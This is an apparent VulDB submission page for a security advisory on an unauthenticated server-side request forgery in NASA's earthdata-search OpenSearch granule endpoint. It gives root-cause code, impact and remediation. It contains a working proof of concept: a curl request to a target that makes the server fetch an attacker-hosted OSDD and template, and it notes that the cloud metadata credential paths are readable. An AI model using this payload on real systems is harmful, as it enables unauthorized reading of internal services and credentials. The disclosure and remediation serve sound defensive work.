提出 #881828: Nasa earthdata-search 1.0.0 Server-Side Request Forgery情報

タイトルNasa earthdata-search 1.0.0 Server-Side Request Forgery
説明**Project:** nasa/earthdata-search (NASA EOSDIS Earth science data discovery web application) **Component:** `openSearchGranuleSearch` service (`serverless/src/openSearchGranuleSearch/handler.js`), route `POST /opensearch/granules` **Affected versions:** 1.0.0 and all prior versions (master HEAD `bd935b23f`, 2026-07-06). **Class:** CWE-918 (Server-Side Request Forgery) **Severity:** High. CVSS v3.1 **7.5** `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N`. **Status:** confirmed live via DAST with full internal-content reflection, 2026-07-06. ## Summary `POST /opensearch/granules` takes a caller-supplied `openSearchOsdd` URL, fetches it server-side (hop 1), pulls a `template` URL out of the returned OpenSearch Description Document, fetches that too (hop 2), and returns the raw second-hop body to the caller. Both hops are attacker-controlled, the route has no real authenticator, and neither fetch validates scheme, host, or IP. On its own this looks like a blind SSRF the server just proxies a search. It is not blind: because the raw body is reflected verbatim, an unauthenticated attacker reads the content of internal resources back through the endpoint. That makes it strictly stronger than the image-only `GET /scale` SSRF, which can only map reachability. ## Root cause The handler reads `openSearchOsdd` from the request body, fetches the attacker OSDD, renders the extracted template, fetches that, and returns its body unchanged: ```js // serverless/src/openSearchGranuleSearch/handler.js const { params } = JSON.parse(body) const { echoCollectionId, openSearchOsdd } = params const openSearchUrlResponse = await getOpenSearchGranulesUrl(echoCollectionId, openSearchOsdd) // hop 1 const { template } = openSearchUrlResponse.body const renderedTemplate = renderOpenSearchTemplate(template, obj) const granuleResponse = await wrappedAxios({ method: 'get', url: renderedTemplate, /* ... */ }) // hop 2 const { data } = granuleResponse return { isBase64Encoded: false, statusCode: granuleResponse.status, headers, body: data } // handler.js:99, reflected ``` Hop 1 fetches the attacker-controlled OSDD URL directly, with no validation: ```js // serverless/src/openSearchGranuleSearch/getOpenSearchGranulesUrl.js:26 const osddResponse = await wrappedAxios.get(openSearchOsddUrl, { headers: { 'Client-Id': getClientId().lambda } }) const osddBody = xmlParser.parse(osddResponse.data) // extracts <Url type="application/atom+xml" template="..."> as the hop-2 URL ``` `renderOpenSearchTemplate` (`serverless/src/openSearchGranuleSearch/renderOpenSearchTemplate.js`) only substitutes OpenSearch parameters (`{count}`, `{geo:box}`, `{time:start}`, etc). It does not check scheme or host, so the attacker's `template` is fetched as-is. `wrapAxios` (`serverless/src/util/wrapAxios.js`) only adds timing interceptors, no SSRF protection, and `axios` follows redirects by default. The route is public: in `cdk/earthdata-search/lib/earthdata-search-functions.ts` the `OpenSearchGranuleSearchLambda` method (`path: 'granules'`, `POST`) is wired with `authorizer: authorizers.edlOptionalAuthorizer`, an optional authorizer that lets anonymous requests through to the handler. The attacker controls the final URL end to end (via the `template` in their own OSDD) and receives the response body back. ## Proof of Concept - unauthenticated SSRF with response reflection Host an OSDD on a listener you control whose `application/atom+xml` template points at a second collaborator, then send one unauthenticated request (no `Authorization` header): ```bash # osdd.xml served at http://ATTACKER-HOST/osdd.xml : # <OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"> # <Url type="application/atom+xml" template="http://COLLABORATOR/-/osdd-template-hop"/> # </OpenSearchDescription> curl -s -X POST "http://TARGET/opensearch/granules" -H 'Content-Type: application/json' \ -d '{"params":{"echoCollectionId":"C1-PROV","openSearchOsdd":"http://ATTACKER-HOST/osdd.xml"}}' ``` The server makes two attacker-controlled outbound requests, then returns the second one's body: - **hop 1** (OSDD fetch), logged on the attacker host: `GET /osdd.xml` from the server's egress IP. - **hop 2** (template fetch), on the second collaborator, note the `axios` User-Agent and the Earthdata `Client-Id`: ``` GET /-/osdd-template-hop HTTP/1.1 Host: <collaborator> User-Agent: axios/1.18.0 Client-Id: eed-default-dev-serverless-lambda ``` - the HTTP response returned to the caller is the body the collaborator served on hop 2, verbatim: ``` <h1>Hello World</h1> ``` The endpoint does not just reach a URL, it returns the fetched content. The response body is fully attacker-influenced: whatever the second-hop URL returns comes back to the unauthenticated caller. That is what makes it a read primitive, not a blind SSRF. Text, HTML, and XML bodies reflect verbatim; a JSON body is parsed by the default `axios` transform and then rejected by the API Gateway proxy with a 502, so JSON-only endpoints stay blind. ![[Pasted image 20260706201840.png]] ## Impact An unauthenticated, remote attacker can: - Read the content of internal, otherwise-unreachable services (internal APIs, status/config pages, admin dashboards, internal ALBs) that return text, HTML, or XML, using the server as an SSRF proxy. - Exfiltrate the raw response body, not just confirm reachability, which makes this higher-impact than the image-only `GET /scale` SSRF in the same application. - Follow redirects to pivot from an allowed-looking host to an internal target. On an operator who self-hosts the open source on EC2 or ECS-on-EC2, the instance metadata service at `http://x.x.x.x/` is reachable through this sink and its plain-text paths (for example the IAM role name at `/latest/meta-data/iam/security-credentials/`) are returned verbatim. The shipped AWS Lambda architecture has no metadata service, so on the default deployment the impact is unauthenticated read of internal text/HTML/XML services. ## Remediation - Validate `openSearchOsdd` and the rendered `template` before fetching: require `https`, and match the host against an allowlist of expected CMR/OpenSearch provider domains. Block private, loopback, and link-local ranges (`127.0.0.0/8`, `x.x.x.x/16`, `10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`), and re-validate after any redirect (or disable redirect following). - Do not return upstream response bodies verbatim from a caller-controlled URL. Parse and re-serialize only the expected OpenSearch fields. - Add the standard authorizer to the route if anonymous OpenSearch granule search is not required. ## References - `serverless/src/openSearchGranuleSearch/handler.js:99` (`openSearchOsdd` from body, returns `body: data`) - `serverless/src/openSearchGranuleSearch/getOpenSearchGranulesUrl.js:26` (hop 1, `axios.get(openSearchOsddUrl)`, no validation) - `serverless/src/openSearchGranuleSearch/renderOpenSearchTemplate.js` (param substitution only, no host/scheme validation) - `serverless/src/util/wrapAxios.js` (timing interceptors only, no SSRF protection, follows redirects) - `cdk/earthdata-search/lib/earthdata-search-functions.ts` (`OpenSearchGranuleSearchLambda`, `edlOptionalAuthorizer`) - [CWE-918](https://cwe.mitre.org/data/definitions/918.html) - [OWASP API7:2023 Server-Side Request Forgery](https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/)
ソース⚠️ https://github.com/natanmorette-thoropass/thoropass-vuln-research-program/tree/main/2026/Unauthenticated%20OpenSearch%20Granule%20SSRF
ユーザー
 nmmorette (UID 87361)
送信2026年07月07日 03:36 (2 月 ago)
モデレーション2026年08月31日 06:22 (2 months later)
ステータス承諾済み
VulDBエントリ397223 [NASA earthdata-search 1.0.0 granules Endpoint handler.js OpenSearchGranuleSearchLambda openSearchOsdd 特権昇格]
ポイント20

Do you know our Splunk app?

Download it now for free!